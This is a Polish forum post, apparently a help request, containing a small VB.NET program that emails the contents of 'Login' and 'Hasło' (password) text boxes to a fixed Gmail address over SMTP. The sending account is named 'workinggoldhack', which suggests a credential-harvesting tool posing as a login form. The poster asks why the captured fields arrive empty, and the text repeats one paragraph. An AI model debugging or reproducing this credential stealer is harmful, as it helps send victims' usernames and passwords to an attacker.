Witam mam problem napisałem sobie małą aplikację która będzie wysyłać tekst na maila wpisany do text boxa przez użytkownika aplikacji.
Klikam f5 wpisuje do text boxa dane wysyła mi na maila wiadomość ale bez tego co jest wpisane w text boxie. Wpisałem do textboxa jakis text (przed wpisaniem w aplikacji) uruchamiam aplikacje dopisuje coś w textboxie i wysyła mi tylko to co było przed dopisaniem.
O to kod aplikacji:
Klikam f5 wpisuje do text boxa dane wysyła mi na maila wiadomość ale bez tego co jest wpisane w text boxie. Wpisałem do textboxa jakis text (przed wpisaniem w aplikacji) uruchamiam aplikacje dopisuje coś w textboxie i wysyła mi tylko to co było przed dopisaniem.
O to kod aplikacji:
Kod:
Imports System
Imports System.Net.Mail
Imports System.Threading
Imports System.Web
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("workinggoldhack", "********")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("[email protected]")
mail.To.Add("[email protected]")
mail.Subject = ("temat")
mail.Body = "Login: " + login.Text & Chr(12) + "Hasło: " + haslo.Text
smtpServer.Send(mail)
End Sub
End Class